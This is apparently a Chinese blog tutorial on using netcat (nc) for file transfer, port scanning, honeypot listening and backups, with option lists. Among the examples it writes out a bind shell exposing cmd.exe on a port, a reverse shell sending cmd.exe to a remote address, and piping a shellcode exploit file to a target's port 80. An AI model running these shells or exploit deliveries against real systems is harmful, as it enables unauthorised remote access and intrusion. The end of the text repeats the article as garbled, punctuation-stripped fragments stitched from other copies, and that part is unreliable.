Linux下nc的使用

2021-09-30 15:00:36 字數 3402 閱讀 7747

今天在飲水思源上閒逛,看到了乙個貼子關於linux下nc命來實現檔案傳輸,進行學習了解了一下。

傳送端:

cat test.txt | nc -l -p 6666

或者nc -l -p 6666 < test.txt

【監聽6666埠,等待連線】(設傳送端ip為10.20.133.152)

接收端:

nc 10.20.133.152 6666 > test1.txt

如上面的操作,即可將檔案test.txt從傳送端傳送到接收端,儲存為test1.txt

想要連線到某處: nc [-options] hostname port[s] [ports] ...

繫結埠等待連線: nc -l -p port [-options] [hostname] [port]

語  法:nc [-hlnruz][-g《閘道器...>][-g《指向器數目》][-i《延遲秒數》][-o《輸出文 件》][-p《通訊埠》][-s《**位址》][-v...][-w《超時秒數》][主機名稱][通訊端 口...]

參  數:

-g《閘道器》 設定路由器躍程通訊網關,最丟哦可設定8個。

-g《指向器數目》 設定**路由指向器,其數值為4的倍數。

-i《延遲秒數》 設定時間間隔,以便傳送資訊及掃瞄通訊埠。

-l 使用監聽模式,管控傳入的資料。

-n 直接使用ip位址,而不通過網域名稱伺服器。

-o《輸出檔案》 指定檔名稱,把往來傳輸的資料以16進製制字碼傾倒成該檔案儲存。

-p《通訊埠》 設定本地主機使用的通訊埠。

-r 亂數指定本地與遠端主機的通訊埠。

-u 使用udp傳輸協議。

-v 顯示指令執行過程。

-w《超時秒數》 設定等待連線的時間。

-z 使用0輸入/輸出模式,只在掃瞄通訊埠時使用。

另外,nc命令也可用於埠掃瞄:

nc -v -z -w2 10.20.133.152 1-14000

可以掃瞄10.20.133.152主機上的1~14000號tcp埠;

nc -u -v -z -w2 10.20.133.152 1-14000

可以掃瞄10.20.133.152主機上的1~14000號udp埠。

nc是一款很不錯的網路檢測工具,以下是詳細使用。

'nc.exe -h'即可看到各引數的使用方法。

基本格式:nc [-options] hostname port [ports] ...

nc -l -p port [options] [hostname] [port]

-d 後台模式

-e prog 程式重定向,一旦連線,就執行 [危險!!]

-g gateway source-routing hop point, up to 8

-g num source-routing pointer: 4, 8, 12, ...

-h 幫助資訊

-i secs 延時的間隔

-l 監聽模式,用於入站連線

-l 連線關閉後,仍然繼續監聽

-n 指定數字的ip位址,不能用hostname

-o file 記錄16進製制的傳輸

-p port 本地埠號

-r 隨機本地及遠端埠

-s addr 本地源位址

-t 使用telnet互動方式

-u udp模式

-v 詳細輸出--用兩個-v可得到更詳細的內容

-w secs timeout的時間

-z 將輸入輸出關掉--用於掃瞄時

埠的表示方法可寫為m-n的範圍格式。

1)連線到遠端主機

格式:nc -nvv 192.168.x.x 80

講解:連到192.168.x.x的tcp80埠

2)監聽本地主機

格式:nc -l -p 80

講解:監聽本機的tcp80埠

3)掃瞄遠端主機

格式: nc -nvv -w2 -z 192.168.x.x 80-445

講解:掃瞄192.168.x.x的tcp80到tcp445的所有埠

4)remote主機繫結shell,例子:

格式: nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

講解:繫結remote主機的cmdshell在remote主機的tcp5354埠

5)remote主機繫結shell並反向連線,例子:

格式: nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

講解:繫結remote主機的cmdshell並反向連線到192.168.x.x的tcp5354埠

以上為最基本的幾種用法(其實nc的用法還有很多,

當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......)。

6)作攻擊程式用,例子:

格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt

講解:連線到192.168.x.x的80埠,並在其管道中傳送'c:\exploit.txt'的內容(兩種格式確有相同的效果,真是有異曲同工之妙:p)

附:'c:\exploit.txt'為shellcode等

7)作蜜罐用[1],例子:

格式:nc -l -p 80

講解:使用'-l'(注意l是大寫)可以不停地監聽某乙個埠,直到ctrl+c為止

8)作蜜罐用[2],例子:

格式:nc -l -p 80 > c:\log.txt

講解:使用'-l'可以不停地監聽某乙個埠,直到ctrl+c為止,同時把結果輸出到'c:\log.txt'中,如果把『>'

改為『>>'即可以追加日誌

附:'c:\log.txt'為日誌等

9)作蜜罐用[3],例子:

格式1:nc -l -p 80 < c:\honeypot.txt

格式2:type.exe c:\honeypot.txt|nc -l -p 80

講解:使用'-l'可以不停地監聽某乙個埠,直到ctrl+c為止,並把'c:\honeypot.txt'的內容『送'入其管道中!

10)備份檔案

a機的資料夾 /data備份到b主機的backup.tgz

源主機: tar czf - work|nc -l -c -p 1234

目的主機: nc 192.168.0.1 1234 >a.tgz

a:tar -zcf data|nc -l -p 4444

b:nc a 4444 >backup.tgz

傳完後ctrl+c中斷連線,這樣a主機不會生成檔案直接傳到了backup.tgz,缺點就是不知道啥時候傳完,嘿嘿

Linux下nc的使用

今天在飲水思源上閒逛,看到了乙個貼子關於linux下nc命來實現檔案傳輸,進行學習了解了一下。傳送端 cat test.txt nc l p 6666 或者nc l p 6666 test.txt 監聽6666埠,等待連線 設傳送端ip為10.20.133.152 接收端 nc 10.20.133....

linux下nc的使用

今天在飲水思源上閒逛,看到了乙個貼子關於linux 下nc命來實現檔案傳輸,進行學習 了解了一下。傳送端 cattest txt nc l p 6666 或者nc l p 6666 test.txt nc u v z w2 10.20.133.152 1 14000 可以掃瞄10.20.133.15...

linux下nc的使用

linux 下nc命來實現檔案傳輸,進行學習 了解了一下。傳送端 cattest txt nc l p 6666 或者nc l p 6666 test.txt nc u v z w2 10.20.133.152 1 14000 可以掃瞄10.20.133.152主機上的1 14000號udp埠。nc...